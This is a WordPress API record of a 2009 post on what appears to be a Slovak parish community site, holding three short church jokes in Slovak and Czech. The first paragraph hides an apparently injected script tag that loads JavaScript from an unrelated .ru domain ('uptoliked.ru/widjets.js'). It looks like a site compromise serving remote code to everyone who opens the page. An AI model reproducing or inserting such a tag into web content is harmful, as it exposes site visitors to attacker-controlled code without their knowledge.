{"id":2728,"date":"2009-08-05T22:11:58","date_gmt":"2009-08-05T21:11:58","guid":{"rendered":"http:\/\/www.scmlondon.org\/?p=2728"},"modified":"2009-08-08T04:40:22","modified_gmt":"2009-08-08T03:40:22","slug":"humor-predlzuje-zivot","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=2728","title":{"rendered":"Humor predl\u017euje \u017eivot"},"content":{"rendered":"<p class=\"style15\">V\u00a0kostole niekto vyl\u00fapil pokladni\u010dku. Po nieko\u013ek\u00fdch d\u0148och dostal p\u00e1n far\u00e1r ob\u00e1lku s\u00a0dvadsa\u0165korun\u00e1\u010dkou. Na prilo\u017eenom l\u00edstku bolo nap\u00edsan\u00e9: Ukradol som vo va\u0161om kostole sto kor\u00fan. Preto\u017ee ma tr\u00e1pi svedomie, posielam dvadsa\u0165 kor\u00fan sp\u00e4\u0165. Ak ma bude svedomie tr\u00e1pi\u0165 \u010falej, m\u00f4\u017eete po\u010d\u00edta\u0165 s\u00a0\u010fal\u0161\u00edmi spl\u00e1tkami.\u00a0 \ud83d\ude42\u00a0\u00a0 \ud83d\ude42\u00a0\u00a0 \ud83d\ude42<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/p>\n<p class=\"style15\">\u2013 Jste v\u011b\u0159\u00edc\u00ed?<br \/>\n\u2013 Ne, jsem ateista.<br \/>\n\u2013 Opravdu?<br \/>\n\u2013 Jako \u017ee B\u016fh je nade mnou!\u00a0\u00a0 \ud83d\ude41\u00a0\u00a0 \ud83d\ude41\u00a0\u00a0 \ud83d\ude41<\/p>\n<p class=\"style15\">Umrie p\u00e1n far\u00e1r a pr\u00edde k\u00a0nebeskej br\u00e1ne. Zab\u00facha na \u0148u. Sv\u00e4t\u00fd Peter pootvor\u00ed a hovor\u00ed: \u201eMus\u00edte chv\u00ed\u013eu po\u010dka\u0165.\u201c<br \/>\nSadne si teda na lavicu pred br\u00e1nou a \u010dak\u00e1. Za chv\u00ed\u013eu pr\u00edde k\u00a0nebeskej br\u00e1ne \u0161of\u00e9r autobusu \u0160tevko.<br \/>\nTie\u017e zab\u00facha,\u00a0sv\u00e4t\u00fd Peter hne\u010f otv\u00e1ra a hovor\u00ed: \u201ePo\u010f \u010falej.\u201c<br \/>\nP\u00e1n far\u00e1r\u00a0povie: \u201eSv\u00e4t\u00fd Peter, ako to, \u017ee \u0161of\u00e9r \u0160tevko\u00a0m\u00f4\u017ee \u00eds\u0165 hne\u010f a ja\u00a0tu mus\u00edm \u010daka\u0165?\u201c<br \/>\nSv\u00e4t\u00fd Peter odpoved\u00e1: \u201eTo m\u00e1te tak, d\u00f4stojn\u00fd p\u00e1n: ke\u010f ste vy v\u00a0kostole k\u00e1zali,\u00a0v\u0161etci spali &#8211; ale, ke\u010f\u00a0\u0161of\u00e9r \u0160tevko\u00a0\u0161of\u00e9roval autobus, v\u0161etci sa modlili!..\u201c\u00a0\u00a0 \ud83d\ude42\u00a0\u00a0 \ud83d\ude41\u00a0\u00a0 \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>V\u00a0kostole niekto vyl\u00fapil pokladni\u010dku. Po nieko\u013ek\u00fdch d\u0148och dostal p\u00e1n far\u00e1r ob\u00e1lku s\u00a0dvadsa\u0165korun\u00e1\u010dkou. Na prilo\u017eenom l\u00edstku bolo nap\u00edsan\u00e9: Ukradol som vo va\u0161om kostole sto kor\u00fan. Preto\u017ee ma tr\u00e1pi svedomie, posielam dvadsa\u0165&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=2728\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-2728","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/2728","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2728"}],"version-history":[{"count":12,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/2728\/revisions"}],"predecessor-version":[{"id":5280,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/2728\/revisions\/5280"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2728"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2728"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2728"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}